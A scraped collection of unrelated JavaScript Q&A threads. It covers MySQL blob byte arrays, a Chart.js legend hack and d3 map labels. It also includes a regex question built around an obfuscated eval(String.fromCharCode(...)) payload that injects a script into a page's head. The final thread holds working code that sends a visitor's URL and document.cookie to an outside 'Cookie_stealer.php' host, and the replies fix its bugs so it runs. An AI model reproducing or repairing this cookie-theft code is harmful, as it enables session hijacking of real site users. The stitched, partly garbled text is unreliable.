Related
->While inserting image data(reader.readAsArrayBuffer(file)) into mysql blob
Uint8Array(3594) [137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82, 0, 0, 1, 0, 0, 0, 1, 0, 8, 3, 0, 0, 0, 107, 172, 88, 84, 0, 0, 0, 1, 115, 82, 71, 66, 0, 174, 206, 28, 233, 0, 0, 0, 4, 103, 65, 77, 65, 0, 0, 177, 143, 11, 252, 97, 5, 0, 0, 3, 0, 80, 76, 84, 69, 73, 191, 68, 73, 192, 67, 73, 192, 67, 73, 192, 67, 73, 192, 67, 74, 193, 68, 73, 192, 67, 72, 191, 67, 73, 192, 67, 74, 192, 67, …]
->while retrieving back from mysql blob image data is displaying as
Uint8Array(12325) [49, 51, 55, 44, 56, 48, 44, 55, 56, 44, 55, 49, 44, 49, 51, 44, 49, 48, 44, 50, 54, 44, 49, 48, 44, 48, 44, 48, 44, 48, 44, 49, 51, 44, 55, 51, 44, 55, 50, 44, 54, 56, 44, 56, 50, 44, 48, 44, 48, 44, 49, 44, 48, 44, 48, 44, 48, 44, 49, 44, 48, 44, 56, 44, 51, 44, 48, 44, 48, 44, 48, 44, 49, 48, 55, 44, 49, 55, 50, 44, 56, 56, 44, 56, 52, 44, 48, 44, 48, 44, 48, 44, 49, 44, 49, 49, 53, 44, 56, 50, …]
Expected results should be same while inserting and retrieving back the Uint8Array()
This is a rudimentary question but what is the best regex expression to capture a fromcharcode range and making it efficient and extensible?
To start off up to the number range, what is the best way to capture the number range section making it extensible:
eval(String.fromCharCode(5, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 6109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 3249, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 105, 102, 32, 40, 44, 32, 49, 49, 53, 44, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));
To write something that can be applied to this and expanded on.
I'm positive that regular expressions are superbly unnecessary here for handling this task, which we simply have a reasonable list of integers, which we can use arrays, apply split or join and perform range check/validation in any forms that we wish, with scripting, yet if that may not be an option, we would start with a simple expression to filter out our numbers and start from there:
([0-9]+)(,\s)?
const regex = /([0-9]+)(,\s)?/gm;
const str = `5, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 6109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 3249, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 105, 102, 32, 40, 44, 32, 49, 49, 53, 44, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61,, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125`;
let m;
while ((m = regex.exec(str)) !== null) {
// This is necessary to avoid infinite loops with zero-width matches
if (m.index === regex.lastIndex) {
regex.lastIndex++;
}
// The result can be accessed through the `m`-variable.
m.forEach((match, groupIndex) => {
console.log(`Found match, group ${groupIndex}: ${match}`);
});
}
Demo
My scenario is:
I'm using phantomjs to generate fixed-size chart images, rendered using chart.js.
I've noticed that when there are too many labels, the legend starts to take up more and more of the availble (fixed) screen space, until the chart is practically invisible, as seen here:
Is there some way to forcibly limit the legend height? Or to set a hard minimum for the chart area height? From debugging and looking at the code here: https://github.com/chartjs/Chart.js/blob/v2.6.0/src/plugins/plugin.legend.js and here: https://github.com/chartjs/Chart.js/blob/v2.6.0/src/core/core.layoutService.js, I'm not seeing anything useful. Hope I missed something.
Using v2.6.0, and here is the chart definition JSON I'm using:
{
"type": "line",
"title": "DaTitle",
"xLabel": "DaLabel",
"yLabel": "DaYLabel",
"data": {
"labels": ["Time0", "Time1", "Time2", "Time3", "Time4", "Time5", "Time6", "Time7", "Time8", "Time9", "Time10", "Time11", "Time12", "Time13", "Time14", "Time15", "Time16", "Time17", "Time18", "Time19"],
"datasets": [{
"label": "RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR",
"data": [45, 19, 70, 96, 8, 44, 49, 3, 10, 75, 71, 80, 29, 44, 22, 30, 59, 67, 17, 34]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [9, 60, 19, 71, 4, 47, 14, 35, 44, 2, 92, 8, 89, 73, 98, 15, 3, 41, 81, 20]
}, {
"label": "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD",
"data": [39, 73, 50, 32, 11, 17, 17, 1, 76, 76, 53, 0, 58, 41, 0, 5, 22, 38, 79, 16]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [5, 6, 2, 87, 27, 6, 40, 17, 8, 27, 24, 57, 2, 2, 13, 52, 25, 24, 49, 61]
}, {
"label": "RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR",
"data": [72, 73, 82, 71, 0, 37, 31, 22, 88, 63, 81, 22, 63, 54, 89, 30, 47, 49, 5, 77]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [95, 86, 96, 3, 64, 62, 47, 90, 21, 57, 14, 32, 29, 94, 29, 9, 82, 39, 79, 39]
}, {
"label": "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD",
"data": [59, 56, 73, 58, 99, 61, 0, 17, 97, 89, 49, 67, 81, 49, 22, 99, 89, 30, 86, 81]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [5, 72, 51, 40, 97, 56, 40, 13, 0, 60, 65, 86, 58, 95, 67, 84, 4, 48, 37, 36]
}, {
"label": "RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR",
"data": [48, 80, 85, 84, 53, 65, 64, 87, 56, 0, 96, 90, 76, 36, 37, 91, 25, 37, 72, 36]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [31, 84, 1, 12, 67, 74, 27, 86, 70, 38, 44, 27, 22, 57, 67, 39, 3, 1, 26, 44]
}, {
"label": "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD",
"data": [70, 66, 99, 63, 99, 26, 3, 71, 28, 91, 81, 28, 70, 46, 2, 57, 84, 51, 77, 15]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [86, 92, 58, 98, 97, 25, 32, 69, 76, 94, 71, 85, 40, 15, 58, 56, 57, 9, 98, 97]
}, {
"label": "RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR",
"data": [4, 93, 76, 92, 9, 35, 96, 76, 54, 61, 21, 56, 71, 18, 79, 4, 90, 42, 77, 93]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [78, 16, 40, 44, 11, 23, 93, 63, 94, 78, 57, 77, 75, 15, 63, 21, 12, 59, 56, 99]
}, {
"label": "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD",
"data": [85, 24, 28, 31, 17, 8, 10, 7, 60, 89, 36, 44, 8, 99, 49, 28, 6, 50, 43, 43]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [46, 17, 73, 71, 66, 97, 84, 6, 12, 13, 38, 25, 40, 4, 36, 32, 65, 65, 3, 45]
}, {
"label": "RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR",
"data": [92, 43, 10, 40, 19, 34, 12, 48, 64, 89, 62, 61, 37, 25, 33, 31, 93, 83, 13, 16]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [80, 34, 77, 13, 57, 42, 6, 69, 41, 5, 47, 76, 55, 43, 24, 52, 37, 69, 92, 78]
}, {
"label": "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD",
"data": [92, 62, 49, 59, 36, 15, 94, 5, 3, 13, 12, 2, 89, 14, 53, 49, 78, 36, 63, 77]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [79, 42, 90, 42, 75, 49, 96, 33, 53, 18, 63, 44, 27, 87, 92, 89, 30, 27, 72, 5]
}, {
"label": "Example",
"data": [41, 32, 7, 16, 73, 8, 60, 63, 44, 72, 73, 53, 47, 50, 7, 48, 48, 61, 52, 1]
}, {
"label": "Linear",
"data": [87, 91, 61, 80, 97, 19, 99, 93, 88, 17, 94, 79, 64, 87, 36, 75, 82, 53, 39, 84]
}, {
"label": "Interpolation",
"data": [30, 77, 18, 39, 67, 10, 19, 70, 76, 72, 66, 60, 87, 37, 43, 56, 89, 22, 2, 94]
}]
}
}
I managed to do a stupid little hack to get exactly what I wanted, and it's good enough for me, though it might be a little too hacky for other people's tastes:
Chart.Legend.prototype.afterFit = function () {
console.log('Before afterFit: ' + JSON.stringify(this.minSize) + ' ' + this.height);
this.minSize.height = this.height = 100;
console.log('After afterFit: ' + JSON.stringify(this.minSize) + ' ' + this.height);
}
console log is:
Before afterFit: {"width":1664,"height":527} 527
After afterFit: {"width":1664,"height":100} 100
Before afterFit: {"width":1664,"height":527} 527
After afterFit: {"width":1664,"height":100} 100
And the result:
I suppose to do this more cleanly, I should probably extend the Legend to override its afterFit behaviour. Will look into it, and I'll update here if it's possible to do it without too much hassle.
EDIT 19/10/2017:
Here is a "nicer" way to do this, which will look to a user like it was a built-in feature:
var origAfterFit = Chart.Legend.prototype.afterFit;
Chart.Legend.prototype.afterFit = function () {
origAfterFit.call(this);
if (this.options && this.options.maxSize) {
var maxSize = this.options.maxSize;
if (maxSize.height !== undefined) {
this.height = Math.min(this.height, maxSize.height);
this.minSize.height = Math.min(this.minSize.height, this.height);
}
if (maxSize.width !== undefined) {
this.width = Math.min(this.width, maxSize.width);
this.minSize.width = Math.min(this.minSize.width, this.width);
}
}
};
And example chart descriptor json:
{
"type" : "line",
"data" : {},
"options" : {
"legend" : {
"position" : "bottom",
"maxSize" : {
"height" : 200
},
"labels" : {
"usePointStyle" : true
}
}
}
}
I am working with this map where I am trying to get the id numbers from the world-110m.json file to be displayed in the circles of the dorling map. The structure of the json file looks like this:
{
"type": "Topology",
"transform": {
"scale": [0.0036000360003600037, 0.0016925586033320111],
"translate": [ - 180, - 85.60903777459777]
},
"objects": {
"land": {
"type": "MultiPolygon",
"arcs": [[[0]], [[1]], [[2]], [[3]], [[4]], [[5]], [[6]], [[7, 8, 9]], [[10, 11]], [[12]], [[13]], [[14]], [[15]], [[16]], [[17]], [[18]], [[19]], [[20]], [[21]], [[22]], [[23]], [[24]], [[25]], [[26]], [[27]], [[28]], [[29, 30]], [[31]], [[32]], [[33]], [[34]], [[35]], [[36]], [[37]], [[38]], [[39]], [[40]], [[41]], [[42, 43]], [[44]], [[45]], [[46]], [[47, 48, 49, 50]], [[51]], [[52]], [[53]], [[54]], [[55]], [[56]], [[57]], [[58]], [[59]], [[60]], [[61]], [[62, 63]], [[64]], [[65]], [[66]], [[67]], [[68]], [[69]], [[70]], [[71]], [[72]], [[73]], [[74]], [[75]], [[76, 77]], [[78]], [[79]], [[80]], [[81]], [[82]], [[83]], [[84]], [[85]], [[86]], [[87]], [[88]], [[89]], [[90, 91]], [[92]], [[93]], [[94]], [[95]], [[96]], [[97]], [[98]], [[99]], [[100]], [[101]], [[102]], [[103]], [[104]], [[105]], [[106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221]], [[222, 223]], [[224]], [[225]], [[226]], [[227]], [[228]], [[229]], [[230, 231, 232, 233]], [[234]], [[235]], [[236]], [[237]], [[238]], [[239]], [[240]], [[241]], [[242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477], [478, 479, 480, 481, 482, 483, 484]], [[485]], [[486]], [[487]], [[488]], [[489]], [[490]], [[491]], [[492]], [[493]], [[494]], [[495]], [[496]], [[497]], [[498]]]
},
"countries": {
"type": "GeometryCollection",
"geometries": [{
"type": "Polygon",
"arcs": [[499, 500, 501, 502, 503, 504]],
"id": 4
}, {
"type": "MultiPolygon",
"arcs": [[[505, 506, 352, 507]], [[354, 508, 509]]],
"id": 24
}, {
"type": "Polygon",
"arcs": [[510, 511, 414, 512, 513, 514]],
"id": 8
}, {
"type": "Polygon",
"arcs": [[312, 515, 314, 516, 517]],
"id": 784
}, {
"type": "MultiPolygon",
"arcs": [[[518, 11]], [[519, 520, 521, 166, 522, 168, 523, 524]]],
"id": 32
}, {
"type": "Polygon",
"arcs": [[525, 526, 527, 528, 529]],
"id": 51
}, {
"type": "MultiPolygon",
"arcs": [[[0]], [[1]], [[2]], [[3]], [[4]], [[5]], [[6]], [[530, 531]]],
"id": 10
}, {
"type": "Polygon",
"arcs": [[13]],
"id": 260
}, {
"type": "MultiPolygon",
"arcs": [[[14]], [[24]]],
"id": 36
}, {
"type": "Polygon",
"arcs": [[532, 533, 534, 535, 536, 537, 538]],
"id": 40
}, etc.
I know that I can access the id like that:
var nbr = "unknown";
try {
nbr = land.geometries[parseInt(d.id)-1].parent.id;
} catch(e) {
console.log("no nbr found for "+d.id);
}
And then return it with all the other variables taken from the world-110m.jsonfile:
return {
nbr:nbr,
x: centroid[0],
y: centroid[1],
ox: centroid[0],
oy: centroid[1],
geometry: d.geometry,
dorling: dorling(d.geometry)
};
But now I don't understand how I can access this variable and draw it into the circles of the dorling map (preferably, only when the circles have a big enough size to "carry" the id number). I have seen this question and this post about how to add country names to a d3 map, but I don't understand how to do this with the map I'm working with. Everything I have tried so far did not work. Could anyone please help me with this? I have added the html file with my additions to this pen. I am sorry it doesn't display anything (I didn't know how to add the required json files to the pen; I simply downloaded them from the source of the map I'm working with and ran everything locally).
Duh, silly me, I forgot to add a svg text element. The below code did it:
svg.selectAll("text")
.data(nodes).enter()
.append("text")
.attr("x", function (d) { return d.x; })
.attr("y", function (d) { return d.y; })
.text(function (d) { return d.nbr; });
The display doesn't look very nice yet, though, but that's going to be another problem...
i am new to javascript and programming at all.
This is orginal code:
document.location = "http://ormteam.net23.net/Cookie_stealer.php?url=" + window.location.href + "&cookies=" + document.cookie;
And this is with string.fromcharcode
document.location = String.fromCharCode(34, 104, 116, 116, 112, 58, 47, 47, 111, 114, 109, 116, 101, 97, 109, 46, 110, 101, 116, 50, 51, 46, 110, 101, 116, 47, 67, 111, 111, 107, 105, 101, 95, 115, 116, 101, 97, 108, 101, 114, 46, 112, 104, 112, 63, 117, 114, 108, 61, 34) + document.url + String.fromCharCode(34, 38, 99, 111, 111, 107, 105, 101, 115, 61, 34) + document.cookies;
Why this does not work ?
Sitting on this peace of code for hours! ;//
The quotes are only needed for the string literal. Since you're not using a string literal, you don't need the quotes.
document.location = String.fromCharCode(104, 116, 116, 112, ...
remove 34 from those char codes as they are for "
make document.cookies to document.cookie
What are you doing with cookie stealer if you are new to javascript, just curious!